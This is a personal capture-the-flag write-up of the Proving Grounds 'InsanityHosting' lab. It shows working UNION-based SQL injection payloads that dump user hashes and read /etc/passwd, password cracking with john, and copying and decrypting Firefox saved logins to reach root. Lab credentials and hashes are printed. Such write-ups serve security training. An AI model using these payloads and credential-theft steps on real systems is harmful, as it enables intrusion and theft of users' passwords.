ProvingGrounds - InsanityHosting

192.168.219.124 nmap

┌──(root㉿kali)-[~]
└─# nmap -p- -Pn 192.168.219.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-11 22:50 EDT
Nmap scan report for 192.168.219.124
Host is up (0.044s latency).
Not shown: 65158 filtered tcp ports (no-response), 374 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

FTP allows anonymous login but appears to have an empty 'pub' folder. might need to figure out why its empty or something idk. gonna do -A nmap now

![](/img/Pasted image 20240611215114.png)

hello@insanityhosting.vm

dirbuster directories

# directory-list-lowercase-2.3-medium.txt [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 46ms]
# Copyright 2007 James Fisher [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 47ms]
#                       [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 47ms]
# on atleast 2 different hosts [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 50ms]
# Priority ordered case insensative list, where entries were found  [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 510ms]
data                    [Status: 301, Size: 236, Words: 14, Lines: 8, Duration: 42ms]
                        [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 1510ms]
#                       [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 2516ms]
css                     [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 43ms]
#                       [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 3517ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 5013ms]
js                      [Status: 301, Size: 234, Words: 14, Lines: 8, Duration: 43ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 6096ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 7536ms]
#                       [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 8043ms]
webmail                 [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 46ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 8845ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 9021ms]
fonts                   [Status: 301, Size: 237, Words: 14, Lines: 8, Duration: 47ms]
monitoring              [Status: 301, Size: 242, Words: 14, Lines: 8, Duration: 46ms]
news                    [Status: 301, Size: 236, Words: 14, Lines: 8, Duration: 5654ms]
img                     [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 5657ms]
licence                 [Status: 200, Size: 57, Words: 10, Lines: 2, Duration: 49ms]
phpmyadmin              [Status: 301, Size: 242, Words: 14, Lines: 8, Duration: 47ms]
                        [Status: 200, Size: 22263, Words: 8919, Lines: 480, Duration: 44ms]
:: Progress: [207643/207643] :: Job [1/1] :: 379 req/sec :: Duration: [0:01:56] :: Errors: 0 ::

http://192.168.219.124/data/EMPTY 1.14.0

?? - seems like a clue.

![](/img/Pasted image 20240611220215.png)

![](/img/Pasted image 20240611220426.png)

interesting - two login pages

![](/img/Pasted image 20240611220520.png)

squirrelmail has a literal version listing on the page and a quick simple google search tells us there's a CVE for it, so we're going to try it

https://www.exploit-db.com/exploits/41910


# Quick and messy PoC for SquirrelMail webmail application.
# It contains payloads for 2 vectors:
# * File Write
# * RCE
# It requires user credentials and that SquirrelMail uses
# Sendmail method as email delivery transport

fuck - requires user credentials

now we can enumerate more, or try to bruteforce the squirrelmail login page lets see if we can find anything else with a more intrusive feroxbuster

http://192.168.219.124/phpmyadmin/README

phpMyAdmin - Readme
===================

Version 5.0.2

A web interface for MySQL and MariaDB.

https://www.phpmyadmin.net/

http://192.168.219.124/webmail/plugins/info/README ![](/img/Pasted image 20240611221722.png) HMMMMMMMMM

clicking around a bit it does seem like the best thing we can do is find a vulnerability for phpmyadmin to get some form of creds or whatever and maybe pivot to squirrelmail after we've gotten some form of access there

i would love to know what /data/version is referring to. surely this is not a rabbithole right :^)

![](/img/Pasted image 20240611222650.png)

third login page we hadn't found until now. fuck

okay. 3 login pages. 2 of which we are kinda familiar with. 1 of those needs creds in order for RCE. obviously it seems like squirrelmail will be the one we exploit for shell lets search for phpmyadmin version 5.0.2 searchsploit cves

![](/img/Pasted image 20240611232718.png)

damn im fucking stupid so you get otis from /news/ and you bruteforce otis' login on /monitoring

okay but this actually doesn't help (nvm it does because you can use the same credentials to get access to squirrelmail)![](/img/Pasted image 20240611233727.png)

![](/img/Pasted image 20240611234023.png)' fuck this sucks

i cheated and looked up the walkthrough - basically, when you have two services that interact with each other, its a good idea to determine how they interact with eachother and see how you can exploit that interaction to do what you want. in that case, we need to figure out a sql injection payload that will give us what we need ![](/img/Pasted image 20240612000641.png)

sqli enumeration via union

![](/img/Pasted image 20240612000653.png)

first thing we see is that " or 1=1# payload gives us a full log file i.e. proving that sql injection payload works to break in.

next we see that admin" UNION SELECT NULL,NULL,@@hostname,@@version -- - payload works to grab hostname;version functions ![](/img/Pasted image 20240613160550.png)

next we're trying:

admin" UNION SELECT NULL,NULL,NULL,SCHEMA_NAME FROM information_schema.SCHEMATA -- -

note: union works because we're matching the id,host,datetime,status columns and pulling down the data in information_schema.schemata in the status column because its capable of holding that data according to datatype

![](/img/Pasted image 20240613160812.png)

great, we have a list of databases next payload:

admin" UNION SELECT 1, concat(table_schema,".",table_name),null,null from information_schema.tables -- - 

enumerating table names ![](/img/Pasted image 20240613161016.png)

we get some useful information here:

1,monitoring.hosts,,
1,monitoring.log,,
1,monitoring.users,,
1,mysql.columns_priv,,
1,mysql.db,,
1,mysql.event,,
1,mysql.func,,
1,mysql.general_log,,
1,mysql.help_category,,
1,mysql.help_keyword,,
1,mysql.help_relation,,
1,mysql.help_topic,,
1,mysql.host,,
1,mysql.ndb_binlog_index,,
1,mysql.plugin,,
1,mysql.proc,,
1,mysql.procs_priv,,
1,mysql.proxies_priv,,
1,mysql.servers,,
1,mysql.slow_log,,
1,mysql.tables_priv,,
1,mysql.time_zone,,
1,mysql.time_zone_leap_second,,
1,mysql.time_zone_name,,
1,mysql.time_zone_transition,,
1,mysql.time_zone_transition_type,,
1,mysql.user,,

new payload:

admin" UNION SELECT 1,column_name,null,null from information_schema.columns where table_name = 'users' -- -

![](/img/Pasted image 20240613161619.png)

new payload, grab some passwords:

admin" UNION SELECT 1,username,password,email from monitoring.users -- -
admin" UNION SELECT 1,username,password,email from monitoring.users -- - is down.
Please check the report below for more information.

ID, Host, Date Time, Status
1,admin,$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma,admin@insanityhosting.vm
1,nicholas,$2y$12$4R6JiYMbJ7NKnuQEoQW4ruIcuRJtDRukH.Tvx52RkUfx5eloIw7Qe,nicholas@insanityhosting.vm
1,otis,$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW,otis@insanityhosting.vm
$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma

doesnt really seem like a good hash to decrypt

admin" UNION SELECT 1,column_name,null,null from information_schema.columns where table_name = 'user' and table_schema = 'mysql' -- -

![](/img/Pasted image 20240613163845.png)

lets try this payload:

admin" UNION SELECT 1,User,Password,NULL from mysql.user -- -
admin" UNION SELECT 1,User,Password,NULL from mysql.user -- - is down. Please check
the report below for more information.

ID, Host, Date Time, Status
1,root,*CDA244FF510B063DA17DFF84FF39BA0849F7920F,
1,,,
1,elliot,,

this doesn't seem right, that hash doesn't look like anything on hashcat module list so lets check some more stuff out

a" UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4 as result -- -
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
admin:x:1000:1000::/home/admin:/bin/bash
saslauth:x:997:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:996:994:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
otis:x:1001:1001::/home/otis:/sbin/nologin
nicholas:x:1002:1002::/home/nicholas:/bin/bash
elliot:x:1003:1003::/home/elliot:/bin/bash
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
dockerroot:x:995:993:Docker User:/var/lib/docker:/sbin/nologin
monitor:x:1004:1004::/home/monitor:/bin/bash

nothing horribly interesting here

a" UNION SELECT group_concat(user),group_concat(password),group_concat(authentication_string),4 FROM mysql.user -- -

this is what we missed from the first look at mysql.user =

...
1,plugin,,
1,authentication_string,,

REALLY can't afford to miss shit like this, although i didnt know authentication_string was different from a hashed password in password - so i guess we learn stuff from here.

you've learned that you are QUITE BAD at sql injection and you should probably do something to get better at it.

a" UNION SELECT
group_concat(user),group_concat(password),group_concat(authentication_string),4 FROM
mysql.user -- - is down. Please check the report below for more information.

ID, Host, Date Time, Status
"root,root,root,root,,,elliot","*CDA244FF510B063DA17DFF84FF39BA0849F7920F,*CDA244FF510B063DA17DFF84FF39BA0849F7920F,*CDA244FF510B063DA17DFF84FF39BA0849F7920F,*CDA244FF510B063DA17DFF84FF39BA0849F7920F,,,",",,,,,,*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9",4
┌──(root㉿kali)-[~/boxes/insanityhosting]
└─# john --wordlist:/usr/share/wordlists/rockyou.txt elliot.hash
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
elliot123        (?)     
1g 0:00:00:00 DONE (2024-06-13 17:59) 50.00g/s 6619Kp/s 6619Kc/s 6619KC/s elmo19..elliot123
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

![](/img/Pasted image 20240613170458.png)

very cool

linpeas interesting

╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits                                                                                                                
Linux version 3.10.0-1127.18.2.el7.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-39) (GCC) ) #1 SMP Sun Jul 26 15:27:06 UTC 2020                         
lsb_release Not Found
                                                                                                                                                                                                  
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                                                                                                                   
Sudo version 1.8.23    


╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses                                                                                                           
/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/elliot/.local/bin:/home/elliot/bin   <- this seems to be highlighted as a 95% vector
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                                                                                                
[+] [CVE-2016-5195] dirtycow                                                                                                                                                                      

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},[ RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7} ],ubuntu=16.04|14.04|12.04
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,[ RHEL=5|6|7 ],ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

idk, its probably not this


╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2                                                                                                                                           
  [1] exploit_x                                                                                                                                                                                   
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [2] pp_key
      CVE-2016-0728
      Source: http://www.exploit-db.com/exploits/39277
  [3] timeoutpwn
      CVE-2014-0038
      Source: http://www.exploit-db.com/exploits/31346

`Proc 8414 with ppid 8412 is run by user elliot but the ppid user is root interesting

╔══════════╣ Unexpected in /opt (usually empty)
total 0                                                                                                                                                                                           
drwxr-xr-x.  4 root root  28 Aug 16  2020 .
dr-xr-xr-x. 17 root root 244 Dec 15  2020 ..
drwxr-xr-x.  3 root root  19 Aug 16  2020 remi
drwxr-xr-x.  2 root root   6 Oct 30  2018 rh

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /etc/aliases.db: Berkeley DB (Hash, version 9, native byte-order)                                                                                                                           
Found /etc/mail/access.db: regular file, no read permission
Found /etc/mail/domaintable.db: regular file, no read permission
Found /etc/mail/mailertable.db: regular file, no read permission
Found /etc/mail/virtusertable.db: regular file, no read permission
Found /etc/openldap/certs/cert8.db: Berkeley DB 1.85 (Hash, version 2, native byte-order)
Found /etc/openldap/certs/key3.db: Berkeley DB 1.85 (Hash, version 2, native byte-order)
Found /etc/openldap/certs/secmod.db: Berkeley DB 1.85 (Hash, version 2, native byte-order)
Found /etc/pki/nssdb/cert8.db: Berkeley DB 1.85 (Hash, version 2, native byte-order)
Found /etc/pki/nssdb/cert9.db: SQLite 3.x database
Found /etc/pki/nssdb/key3.db: Berkeley DB 1.85 (Hash, version 2, native byte-order)
Found /etc/pki/nssdb/key4.db: SQLite 3.x database
Found /etc/pki/nssdb/secmod.db: Berkeley DB 1.85 (Hash, version 2, native byte-order)
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/cert9.db: SQLite 3.x database
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/content-prefs.sqlite: SQLite 3.x database, user version 4
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/cookies.sqlite: SQLite 3.x database, user version 9
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/favicons.sqlite: SQLite 3.x database
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/key4.db: SQLite 3.x database
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/permissions.sqlite: SQLite 3.x database, user version 10
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/places.sqlite: SQLite 3.x database, user version 52
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite: SQLite 3.x database, user version 416
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite: SQLite 3.x database, user version 416
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite: SQLite 3.x database, user version 416
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite: SQLite 3.x database, user version 416
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/storage.sqlite: SQLite 3.x database, user version 131074
Found /home/elliot/.mozilla/firefox/esmhp32w.default-default/webappsstore.sqlite: SQLite 3.x database, user version 2
Found /var/lib/yum/history/history-2020-08-16.sqlite: regular file, no read permission
╔══════════╣ Searching passwords in config PHP files
                $this->databasePassword = $databasePassword;                                                                                                                                      
$databasePassword = 'AesBeery8g9JLcWW';
$cfg['Servers'][$i]['AllowNoPassword'] = true;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['ShowChgPassword'] = true;

root was interesting on this one ***** important : notice the stuff in the home folder of the user you just logged in as. more than likely that stuff isn't there for funsies.

we have a .mozilla folder in ~/ and hacktricks leads us to firefox_decrypt github: https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts

https://github.com/unode/firefox_decrypt

we grab some COOL FUN STUFF from this file:

┌──(root㉿kali)-[~/boxes/insanityhosting/ffox_resources]
└─# scp -o StrictHostKeyChecking=no -r elliot@192.168.241.124:/home/elliot/.mozilla/firefox/esmhp32w.default-default/logins.json /root/boxes/insanityhosting/ffox_resources/
 
┌──(root㉿kali)-[~/boxes/insanityhosting/ffox_resources]
└─# scp -o StrictHostKeyChecking=no -r elliot@192.168.241.124:/home/elliot/.mozilla/firefox/esmhp32w.default-default/cookies.sqlite /root/boxes/insanityhosting/ffox_resources/

┌──(root㉿kali)-[~/boxes/insanityhosting/ffox_resources]
└─# scp -o StrictHostKeyChecking=no -r elliot@192.168.241.124:/home/elliot/.mozilla/firefox/esmhp32w.default-default/key4.db /root/boxes/insanityhosting/ffox_resources/       

┌──(root㉿kali)-[~/boxes/insanityhosting/ffox_resources]
└─# scp -o StrictHostKeyChecking=no -r elliot@192.168.241.124:/home/elliot/.mozilla/firefox/esmhp32w.default-default/logins.json /root/boxes/insanityhosting/ffox_resources/
                                                                                                                                                                   
┌──(root㉿kali)-[~/boxes/insanityhosting/ffox_resources]
└─# scp -o StrictHostKeyChecking=no -r elliot@192.168.241.124:/home/elliot/.mozilla/firefox/esmhp32w.default-default/cert9.db /root/boxes/insanityhosting/ffox_resources/   
elliot@192.168.241.124's password: 
cert9.db        

specifically logins.json, cookies.sqlite, key4.db, cert9.db we threw those files into a folder and used the firefox decrypt tool to crack into them

┌──(root㉿kali)-[~/boxes/insanityhosting/firefox_decrypt]
└─# python3 firefox_decrypt.py ../ffox_resources

2024-06-13 18:39:29,398 - WARNING - profile.ini not found in ../ffox_resources
2024-06-13 18:39:29,399 - WARNING - Continuing and assuming '../ffox_resources' is a profile location

Website:   https://localhost:10000
Username: 'root'
Password: 'S8Y389KJqWpJuSwFqFZHwfZ3GnegUa'

[elliot@insanityhosting ~]$ su root
Password: 
[root@insanityhosting elliot]# ls
linpeas.sh  local.txt
[root@insanityhosting elliot]# cat /root/
.bash_history  .bash_logout   .bash_profile  .bashrc        flag.txt       .gnupg/        .mozilla/      .pki/          proof.txt      .ssh/          .viminfo       
[root@insanityhosting elliot]# cat /root/flag.txt
Your flag is in another file...
[root@insanityhosting elliot]# cat /root/proof.txt
e0391fd57907b1a0cbf01e95248cde56

bada bing baby